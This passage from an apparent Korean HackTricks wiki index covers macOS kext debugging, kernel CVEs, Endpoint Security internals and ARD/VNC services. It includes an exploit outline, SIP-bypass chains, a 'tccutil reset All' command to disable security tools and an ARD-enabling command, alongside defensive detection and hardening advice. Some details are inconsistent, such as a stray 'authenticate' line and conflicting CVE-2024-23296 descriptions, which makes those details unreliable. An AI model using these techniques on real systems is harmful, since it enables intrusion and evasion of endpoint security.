검증을 지원하여 장치가 실행하기 전에 펌웨어 구성 요소의 진위와 무결성을 확인할 수 있도록 합니다. 일반적으로 다음 구성 요소로 구성됩니다: Payload (IM4P) : 종종 압축됨 (LZFSE4, LZSS, …) 선택적으로 암호화됨 Manifest (IM4M) : 서명 포함 추가 키/값 사전 Restore Info (IM4R) : APNonce로도 알려짐 일부 업데이트의 재생을 방지 선택 사항: 일반적으로 발견되지 않음 Kernelcache 압축 해제: bash # img4tool (https://github.com/tihmstar/img4tool)\\nimg4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4)\\npyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » Local Kerlnelcache","id":"2175","title":"Local Kerlnelcache"},"2176":{"body":"KernelDebugKit Github https://github.com/dortania/KdkSupportPkg/releases 에서 모든 커널 디버그 키트를 찾을 수 있습니다. 다운로드하여 마운트하고 Suspicious Package 도구로 열어 .kext 폴더에 접근하고 추출 할 수 있습니다. 기호를 확인하려면: bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l theapplewiki.com , ipsw.me , theiphonewiki.com 가끔 Apple은 kernelcache 와 symbols 를 함께 배포합니다. 이러한 페이지의 링크를 따라가면 심볼이 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 kernelcache 가 포함되어 있습니다. 파일을 추출 하려면 .ipsw 확장자를 .zip으로 변경한 후 압축을 풉니다 . 펌웨어를 추출한 후에는 **kernelcache.release.iphone14**와 같은 파일을 얻게 됩니다. 이 파일은 IMG4 형식이며, 다음을 사용하여 흥미로운 정보를 추출할 수 있습니다: pyimg4 : bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e img4tool : bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 다운로드","id":"2176","title":"다운로드"},"2177":{"body":"커널 캐시에 기호가 있는지 확인하십시오. bash nm -a kernelcache.release.iphone14.e | wc -l 이제 우리는 모든 확장자를 추출 하거나 관심 있는 확장자를 추출 할 수 있습니다: bash # List all extensions\\nkextex -l kernelcache.release.iphone14.e\\n## Extract com.apple.security.sandbox\\nkextex -e com.apple.security.sandbox kernelcache.release.iphone14.e # Extract all\\nkextex_all kernelcache.release.iphone14.e # Check the extension for symbols\\nnm -a binaries/com.apple.security.sandbox | wc -l","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 커널 캐시 검사","id":"2177","title":"커널 캐시 검사"},"2178":{"body":"연도 CVE 요약 2024 CVE-2024-44243 **storagekitd**의 논리 결함으로 인해 root 공격자가 악성 파일 시스템 번들을 등록할 수 있었고, 이는 궁극적으로 서명되지 않은 kext 를 로드하여 **시스템 무결성 보호(SIP)**를 우회하고 지속적인 루트킷을 활성화했습니다. macOS 14.2 / 15.2에서 패치됨. 2021 CVE-2021-30892 ( Shrootless ) com.apple.rootless.install 권한을 가진 설치 데몬이 임의의 설치 후 스크립트를 실행하고 SIP를 비활성화하며 임의의 kext를 로드하는 데 악용될 수 있었습니다. 레드 팀을 위한 주요 사항 Disk Arbitration, Installer 또는 Kext Management와 상호작용하는 권한이 있는 데몬(codesign -dvv /path/bin | grep entitlements)을 찾으십시오. SIP 우회 악용은 거의 항상 kext를 로드할 수 있는 능력을 부여합니다 → 커널 코드 실행 . 방어 팁 SIP를 활성화 상태로 유지 하고, 비-Apple 바이너리에서 오는 kmutil load/kmutil create -n aux 호출을 모니터링하며 /Library/Extensions에 대한 모든 쓰기에 경고하십시오. 엔드포인트 보안 이벤트 ES_EVENT_TYPE_NOTIFY_KEXTLOAD는 거의 실시간 가시성을 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 최근 취약점 및 악용 기술","id":"2178","title":"최근 취약점 및 악용 기술"},"2179":{"body":"Apple의 권장 워크플로우는 실행 중인 빌드와 일치하는 **커널 디버그 키트(KDK)**를 빌드한 다음 KDP(커널 디버깅 프로토콜) 네트워크 세션을 통해 LLDB 를 연결하는 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » macOS 커널 및 kext 디버깅","id":"2179","title":"macOS 커널 및 kext 디버깅"},"218":{"body":"IPv6 주소와 잠재적으로 연결된 서브 도메인을 찾는 방법은 검색 엔진을 활용하는 것입니다. 예를 들어, ipv6.*와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령을 Google에서 사용할 수 있습니다: bash site:ipv6./","breadcrumbs":"Pentesting Network » Pentesting IPv6 » Exploring Subdomains","id":"218","title":"Exploring Subdomains"},"2180":{"body":"bash # Create a symbolication bundle for the latest panic\\nsudo kdpwrit dump latest.kcdata\\nkmutil analyze-panic latest.kcdata -o ~/panic_report.txt","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 패닉의 원샷 로컬 디버그","id":"2180","title":"패닉의 원샷 로컬 디버그"},"2181":{"body":"대상 머신에 맞는 정확한 KDK 버전을 다운로드 + 설치합니다. USB-C 또는 Thunderbolt 케이블 로 대상 Mac과 호스트 Mac을 연결합니다. 대상 에서: bash sudo nvram boot-args=\\"debug=0x100 kdp_match_name=macbook-target\\"\\nreboot 호스트 에서: bash lldb\\n(lldb) kdp-remote \\"udp://macbook-target\\"\\n(lldb) bt # get backtrace in kernel context","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 다른 Mac에서의 실시간 원격 디버깅","id":"2181","title":"다른 Mac에서의 실시간 원격 디버깅"},"2182":{"body":"bash # Identify load address of the kext\\nADDR=$(kmutil showloaded --bundle-identifier com.example.driver | awk \'{print $4}\') # Attach\\nsudo lldb -n kernel_task -o \\"target modules load --file /Library/Extensions/Example.kext/Contents/MacOS/Example --slide $ADDR\\" ℹ️ KDP는 읽기 전용 인터페이스만 노출합니다. 동적 계측을 위해서는 디스크에서 바이너리를 패치하거나, 커널 함수 후킹 (예: mach_override)을 활용하거나, 드라이버를 하이퍼바이저 로 마이그레이션하여 전체 읽기/쓰기를 수행해야 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » 특정 로드된 kext에 LLDB 연결하기","id":"2182","title":"특정 로드된 kext에 LLDB 연결하기"},"2183":{"body":"DriverKit Security – Apple Platform Security Guide Microsoft Security Blog – Analyzing CVE-2024-44243 SIP bypass tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Extensions & Debugging » References","id":"2183","title":"References"},"2184":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » macOS Kernel Vulnerabilities","id":"2184","title":"macOS Kernel Vulnerabilities"},"2185":{"body":"이 보고서에서는 소프트웨어 업데이트 프로그램을 손상시켜 커널을 침해할 수 있는 여러 취약점이 설명되어 있습니다. PoC .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » Pwning OTA","id":"2185","title":"Pwning OTA"},"2186":{"body":"Apple은 2024년 3월에 iOS 및 macOS에 대해 적극적으로 악용된 두 개의 메모리 손상 버그를 패치했습니다 (macOS 14.4/13.6.5/12.7.4에서 수정됨). CVE-2024-23225 – Kernel • XNU 가상 메모리 서브시스템에서의 경계 초과 쓰기로 인해 비특권 프로세스가 PAC/KTRR를 우회하여 커널 주소 공간에서 임의의 읽기/쓰기를 얻을 수 있습니다. • libxpc의 버퍼를 오버플로우하는 조작된 XPC 메시지를 통해 사용자 공간에서 트리거되며, 메시지가 구문 분석될 때 커널로 전환됩니다. CVE-2024-23296 – RTKit • Apple Silicon RTKit(실시간 보조 프로세서)에서의 메모리 손상. • 관찰된 악용 체인은 커널 R/W를 위해 CVE-2024-23225를 사용하고, PAC를 비활성화하고 보안 보조 프로세서 샌드박스를 탈출하기 위해 CVE-2024-23296을 사용했습니다. Patch level detection: bash sw_vers # ProductVersion 14.4 or later is patched\\nauthenticate sudo sysctl kern.osversion # 23E214 or later for Sonoma 업그레이드가 불가능한 경우, 취약한 서비스를 비활성화하여 완화하십시오: bash launchctl disable system/com.apple.analyticsd\\nlaunchctl disable system/com.apple.rtcreportingd","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » 2024: In-the-wild Kernel 0-days (CVE-2024-23225 & CVE-2024-23296)","id":"2186","title":"2024: In-the-wild Kernel 0-days (CVE-2024-23225 & CVE-2024-23296)"},"2187":{"body":"mach_msg() 요청이 권한이 없는 IOKit 사용자 클라이언트로 전송되면 MIG에서 생성된 글루 코드에서 유형 혼동 이 발생합니다. 응답 메시지가 원래 할당된 것보다 더 큰 외부 설명자로 재해석될 때, 공격자는 커널 힙 영역에 제어된 OOB 쓰기 를 수행하고 결국 root로 상승할 수 있습니다. 원시 개요 (Sonoma 14.0-14.1, Ventura 13.5-13.6): c // userspace stub\\ntyped_port_t p = get_user_client();\\nuint8_t spray[0x4000] = {0x41};\\n// heap-spray via IOSurfaceFastSetValue\\nio_service_open_extended(...);\\n// malformed MIG message triggers confusion\\nmach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, ...); 공식 익스플로잇은 버그를 무기화합니다: 활성 포인터로 ipc_kmsg 버퍼를 스프레이합니다. 댕글링 포트의 ip_kobject를 덮어씁니다. mprotect()를 사용하여 PAC-위조 주소에 매핑된 셸코드로 점프합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » 2023: MIG 유형 혼동 – CVE-2023-41075","id":"2187","title":"2023: MIG 유형 혼동 – CVE-2023-41075"},"2188":{"body":"Microsoft의 보안 연구원들은 고권한 데몬 storagekitd가 서명되지 않은 커널 확장 을 로드하도록 강제할 수 있으며, 따라서 완전히 패치된 macOS에서 **시스템 무결성 보호(SIP)**를 완전히 비활성화할 수 있음을 보여주었습니다(15.2 이전). 공격 흐름은 다음과 같습니다: 개인 권한 com.apple.storagekitd.kernel-management를 남용하여 공격자 제어 하에 헬퍼를 생성합니다. 헬퍼는 악성 kext 번들을 가리키는 조작된 정보 사전을 사용하여 IOService::AddPersonalitiesFromKernelModule을 호출합니다. SIP 신뢰 검사가 storagekitd에 의해 kext가 스테이징된 후 에 수행되기 때문에, 검증 전에 링-0에서 코드가 실행되고 csr_set_allow_all(1)로 SIP를 끌 수 있습니다. 탐지 팁: bash kmutil showloaded | grep -v com.apple # list non-Apple kexts\\nlog stream --style syslog --predicate \'senderImagePath contains \\"storagekitd\\"\' # watch for suspicious child procs 즉각적인 수정은 macOS Sequoia 15.2 이상으로 업데이트하는 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » 2024-2025: 서드파티 Kext를 통한 SIP 우회 – CVE-2024-44243 (일명 “Sigma”)","id":"2188","title":"2024-2025: 서드파티 Kext를 통한 SIP 우회 – CVE-2024-44243 (일명 “Sigma”)"},"2189":{"body":"bash uname -a # Kernel build\\nkmutil showloaded # List loaded kernel extensions\\nkextstat | grep -v com.apple # Legacy (pre-Catalina) kext list\\nsysctl kern.kaslr_enable # Verify KASLR is ON (should be 1)\\ncsrutil status # Check SIP from RecoveryOS\\nspctl --status # Confirms Gatekeeper state","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » 빠른 열거 요약표","id":"2189","title":"빠른 열거 요약표"},"219":{"body":"IPv6 주소를 식별하기 위해 특정 DNS 레코드 유형을 쿼리할 수 있습니다: AXFR : 전체 존 전송을 요청하여 다양한 DNS 레코드를 발견할 수 있습니다. AAAA : IPv6 주소를 직접 찾습니다. ANY : 사용 가능한 모든 DNS 레코드를 반환하는 광범위한 쿼리입니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » DNS 쿼리 활용","id":"219","title":"DNS 쿼리 활용"},"2190":{"body":"Luftrauser – Mach 메시지 퍼저로 MIG 서브시스템을 타겟으로 함 (github.com/preshing/luftrauser). oob-executor – CVE-2024-23225 연구에 사용되는 IPC 아웃 오브 바운드 원시 생성기. kmutil inspect – 로딩 전에 kext를 정적으로 분석하는 내장 Apple 유틸리티 (macOS 11+): kmutil inspect -b io.kext.bundleID.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » Fuzzing & Research Tools","id":"2190","title":"Fuzzing & Research Tools"},"2191":{"body":"Apple. “macOS Sonoma 14.4의 보안 콘텐츠에 대하여.” https://support.apple.com/en-us/120895 Microsoft Security Blog. “CVE-2024-44243 분석, 커널 확장을 통한 macOS 시스템 무결성 보호 우회.” https://www.microsoft.com/en-us/security/blog/2025/01/13/analyzing-cve-2024-44243-a-macos-system-integrity-protection-bypass-through-kernel-extensions/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS Kernel Vulnerabilities » References","id":"2191","title":"References"},"2192":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » macOS System Extensions","id":"2192","title":"macOS System Extensions"},"2193":{"body":"Kernel Extensions와 달리, System Extensions는 사용자 공간에서 실행 되어 확장 기능 오작동으로 인한 시스템 충돌 위험을 줄입니다. System Extensions에는 DriverKit Extensions, Network Extensions, 및 Endpoint Security Extensions의 세 가지 유형이 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » System Extensions / Endpoint Security Framework","id":"2193","title":"System Extensions / Endpoint Security Framework"},"2194":{"body":"DriverKit은 하드웨어 지원 을 제공하는 커널 확장의 대체물입니다. USB, Serial, NIC 및 HID 드라이버와 같은 장치 드라이버가 커널 공간이 아닌 사용자 공간에서 실행될 수 있도록 합니다. DriverKit 프레임워크는 특정 I/O Kit 클래스의 사용자 공간 버전 을 포함하며, 커널은 일반 I/O Kit 이벤트를 사용자 공간으로 전달하여 이러한 드라이버가 실행될 수 있는 더 안전한 환경을 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » DriverKit Extensions","id":"2194","title":"DriverKit Extensions"},"2195":{"body":"Network Extensions는 네트워크 동작을 사용자 정의할 수 있는 기능을 제공합니다. 여러 유형의 Network Extensions가 있습니다: App Proxy : 흐름 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. 이는 개별 패킷이 아닌 연결(또는 흐름)을 기반으로 네트워크 트래픽을 처리함을 의미합니다. Packet Tunnel : 패킷 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. 이는 개별 패킷을 기반으로 네트워크 트래픽을 처리함을 의미합니다. Filter Data : 네트워크 \\"흐름\\"을 필터링하는 데 사용됩니다. 흐름 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다. Filter Packet : 개별 네트워크 패킷을 필터링하는 데 사용됩니다. 패킷 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다. DNS Proxy : 사용자 정의 DNS 제공자를 생성하는 데 사용됩니다. DNS 요청 및 응답을 모니터링하거나 수정하는 데 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » Network Extensions","id":"2195","title":"Network Extensions"},"2196":{"body":"Endpoint Security는 시스템 보안을 위한 API 집합을 제공하는 Apple의 macOS 프레임워크입니다. 이는 보안 공급업체와 개발자가 시스템 활동을 모니터링하고 제어하여 악의적인 활동을 식별하고 보호할 수 있는 제품을 구축하는 데 사용 됩니다. 이 프레임워크는 프로세스 실행, 파일 시스템 이벤트, 네트워크 및 커널 이벤트와 같은 시스템 활동을 모니터링하고 제어하기 위한 API 모음 을 제공합니다. 이 프레임워크의 핵심은 커널에 구현되어 있으며, **/System/Library/Extensions/EndpointSecurity.kext**에 위치한 커널 확장(KEXT)입니다. 이 KEXT는 여러 주요 구성 요소로 구성됩니다: EndpointSecurityDriver : 커널 확장의 \\"진입점\\" 역할을 합니다. OS와 Endpoint Security 프레임워크 간의 주요 상호작용 지점입니다. EndpointSecurityEventManager : 커널 후크를 구현하는 책임이 있는 구성 요소입니다. 커널 후크는 시스템 호출을 가로채어 시스템 이벤트를 모니터링할 수 있게 합니다. EndpointSecurityClientManager : 사용자 공간 클라이언트와의 통신을 관리하며, 어떤 클라이언트가 연결되어 있고 이벤트 알림을 받아야 하는지를 추적합니다. EndpointSecurityMessageManager : 사용자 공간 클라이언트에 메시지와 이벤트 알림을 전송합니다. Endpoint Security 프레임워크가 모니터링할 수 있는 이벤트는 다음과 같이 분류됩니다: 파일 이벤트 프로세스 이벤트 소켓 이벤트 커널 이벤트 (예: 커널 확장 로드/언로드 또는 I/O Kit 장치 열기)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » Endpoint Security Framework","id":"2196","title":"Endpoint Security Framework"},"2197":{"body":"사용자 공간 통신 은 IOUserClient 클래스를 통해 Endpoint Security 프레임워크와 이루어집니다. 호출자 유형에 따라 두 가지 다른 하위 클래스가 사용됩니다: EndpointSecurityDriverClient : com.apple.private.endpoint-security.manager 권한이 필요하며, 이는 시스템 프로세스 endpointsecurityd만 보유합니다. EndpointSecurityExternalClient : com.apple.developer.endpoint-security.client 권한이 필요합니다. 이는 일반적으로 Endpoint Security 프레임워크와 상호작용해야 하는 타사 보안 소프트웨어에서 사용됩니다. Endpoint Security Extensions:**libEndpointSecurity.dylib**는 시스템 확장이 커널과 통신하는 데 사용하는 C 라이브러리입니다. 이 라이브러리는 I/O Kit(IOKit)을 사용하여 Endpoint Security KEXT와 통신합니다. **endpointsecurityd**는 엔드포인트 보안 시스템 확장을 관리하고 시작하는 데 관여하는 주요 시스템 데몬으로, 특히 초기 부팅 과정에서 중요합니다. Info.plist 파일에 **NSEndpointSecurityEarlyBoot**로 표시된 시스템 확장만 이 초기 부팅 처리를 받습니다. 또 다른 시스템 데몬인 **sysextd**는 시스템 확장을 검증 하고 이를 적절한 시스템 위치로 이동합니다. 그런 다음 관련 데몬에 확장을 로드하도록 요청합니다. **SystemExtensions.framework**는 시스템 확장을 활성화하고 비활성화하는 책임이 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » Endpoint Security Framework Architecture","id":"2197","title":"Endpoint Security Framework Architecture"},"2198":{"body":"ESF는 레드 팀원을 감지하려고 하는 보안 도구에서 사용되므로, 이를 피할 수 있는 방법에 대한 정보는 흥미롭습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » Bypassing ESF","id":"2198","title":"Bypassing ESF"},"2199":{"body":"문제는 보안 애플리케이션이 전체 디스크 접근 권한 을 가져야 한다는 것입니다. 따라서 공격자가 이를 제거할 수 있다면 소프트웨어가 실행되는 것을 방지할 수 있습니다: bash tccutil reset All 더 많은 정보는 이 우회 및 관련된 내용에 대해 #OBTS v5.0: \\"The Achilles Heel of EndpointSecurity\\" - Fitzl Csaba 강의를 확인하세요. 결국, 이는 **tccd**가 관리하는 보안 앱에 새로운 권한 **kTCCServiceEndpointSecurityClient**를 부여하여 수정되었으며, 이로 인해 tccutil이 해당 권한을 지우지 않아 실행을 방지하지 않게 되었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » CVE-2021-30965","id":"2199","title":"CVE-2021-30965"},"22":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"About the author » 저자 소개","id":"22","title":"저자 소개"},"220":{"body":"조직과 관련된 IPv6 주소를 확인한 후, ping6 유틸리티를 사용하여 프로빙할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움을 주며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » Ping6로 프로빙","id":"220","title":"Ping6로 프로빙"},"2200":{"body":"OBTS v3.0: \\"Endpoint Security & Insecurity\\" - Scott Knight https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Kernel & System Extensions » macOS System Extensions » References","id":"2200","title":"References"},"2201":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » macOS 네트워크 서비스 및 프로토콜","id":"2201","title":"macOS 네트워크 서비스 및 프로토콜"},"2202":{"body":"이들은 macOS에서 원격으로 액세스하기 위한 일반적인 서비스입니다. 이 서비스는 System Settings --> Sharing에서 활성화/비활성화할 수 있습니다. VNC , \\"화면 공유\\"로 알려져 있음 (tcp:5900) SSH , \\"원격 로그인\\"이라고 불림 (tcp:22) Apple Remote Desktop (ARD), 또는 \\"원격 관리\\" (tcp:3283, tcp:5900) AppleEvent , \\"원격 Apple 이벤트\\"로 알려져 있음 (tcp:3031) 활성화된 서비스가 있는지 확인하려면 다음을 실행하세요: bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep \\"*.3283\\" | wc -l);\\nscrShrng=$(netstat -na | grep LISTEN | egrep \'tcp4|tcp6\' | grep \\"*.5900\\" | wc -l);\\nflShrng=$(netstat -na | grep LISTEN | egrep \'tcp4|tcp6\' | egrep \\"\\\\\\\\*.88|\\\\\\\\*.445|\\\\\\\\*.548\\" | wc -l);\\nrLgn=$(netstat -na | grep LISTEN | egrep \'tcp4|tcp6\' | grep \\"*.22\\" | wc -l);\\nrAE=$(netstat -na | grep LISTEN | egrep \'tcp4|tcp6\' | grep \\"*.3031\\" | wc -l);\\nbmM=$(netstat -na | grep LISTEN | egrep \'tcp4|tcp6\' | grep \\"*.4488\\" | wc -l);\\nprintf \\"\\\\nThe following services are OFF if \'0\', or ON otherwise:\\\\nScreen Sharing: %s\\\\nFile Sharing: %s\\\\nRemote Login: %s\\\\nRemote Mgmt: %s\\\\nRemote Apple Events: %s\\\\nBack to My Mac: %s\\\\n\\\\n\\" \\"$scrShrng\\" \\"$flShrng\\" \\"$rLgn\\" \\"$rmMgmt\\" \\"$rAE\\" \\"$bmM\\";","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » 원격 액세스 서비스","id":"2202","title":"원격 액세스 서비스"},"2203":{"body":"Apple Remote Desktop (ARD)는 macOS에 맞게 조정된 Virtual Network Computing (VNC) 의 향상된 버전으로, 추가 기능을 제공합니다. ARD의 주목할 만한 취약점은 제어 화면 비밀번호의 인증 방법으로, 비밀번호의 처음 8자만 사용하여 무차별 대입 공격 에 취약하게 만듭니다. Hydra 또는 GoRedShell 과 같은 도구를 사용하여 공격할 수 있으며, 기본 속도 제한이 없습니다. 취약한 인스턴스는 nmap 의 vnc-info 스크립트를 사용하여 식별할 수 있습니다. VNC Authentication (2)를 지원하는 서비스는 8자 비밀번호 잘림으로 인해 무차별 대입 공격에 특히 취약합니다. 권한 상승, GUI 접근 또는 사용자 모니터링과 같은 다양한 관리 작업을 위해 ARD를 활성화하려면 다음 명령을 사용하십시오: bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ARD는 관찰, 공유 제어 및 전체 제어를 포함한 다양한 제어 수준을 제공하며, 사용자 비밀번호 변경 후에도 세션이 지속됩니다. 관리 사용자를 위해 Unix 명령을 직접 전송하고 root로 실행할 수 있습니다. 작업 예약 및 원격 Spotlight 검색은 여러 머신에서 민감한 파일에 대한 원격 저영향 검색을 용이하게 하는 주목할 만한 기능입니다. 최근 화면 공유 / ARD 취약점 (2023-2025) 연도 CVE 구성 요소 영향 수정됨 2023 CVE-2023-42940 화면 공유 잘못된 세션 렌더링으로 인해 잘못된 데스크탑이나 창이 전송되어 민감한 정보가 유출될 수 있음 macOS Sonoma 14.2.1 (2023년 12월) 2024 CVE-2024-23296 launchservicesd / login 원격 로그인 후 체인할 수 있는 커널 메모리 보호 우회 (실제로 악용됨) macOS Ventura 13.6.4 / Sonoma 14.4 (2024년 3월) 강화 팁 엄격히 필요하지 않을 때는 화면 공유 / 원격 관리 를 비활성화하십시오. macOS를 완전히 패치 상태로 유지하십시오 (Apple은 일반적으로 최근 3개의 주요 릴리스에 대한 보안 수정 사항을 배포합니다). 강력한 비밀번호 를 사용하고 가능한 경우 “VNC 뷰어가 비밀번호로 화면을 제어할 수 있음” 옵션을 비활성화 하십시오. TCP 5900/3283을 인터넷에 노출하는 대신 VPN 뒤에 서비스를 배치하십시오. ARDAgent를 로컬 서브넷으로 제한하는 애플리케이션 방화벽 규칙을 추가하십시오: bash sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent\\nsudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent on","breadcrumbs":"macOS Security & Privilege Escalation » macOS Network Services & Protocols » Pentesting ARD","id":"2203","title":"Pentesting ARD"},"2204":{"body":"Bonjour는 Apple이 설계한 기술로, 같은 네트워크에 있는 장치들이 서로 제공하는 서비스를 감지할 수 있게 합니다. Rendezvous, 제로 구성 또는 Zeroconf로도 알려진 이 기술은 장치가 TCP/IP 네트워크에 가입하고, 자동으로 IP 주소를 선택 하며, 다른 네트워크 장치에 서비스를 브로드캐스트할 수 있게 합니다. Bonjour가 제공하는 제로 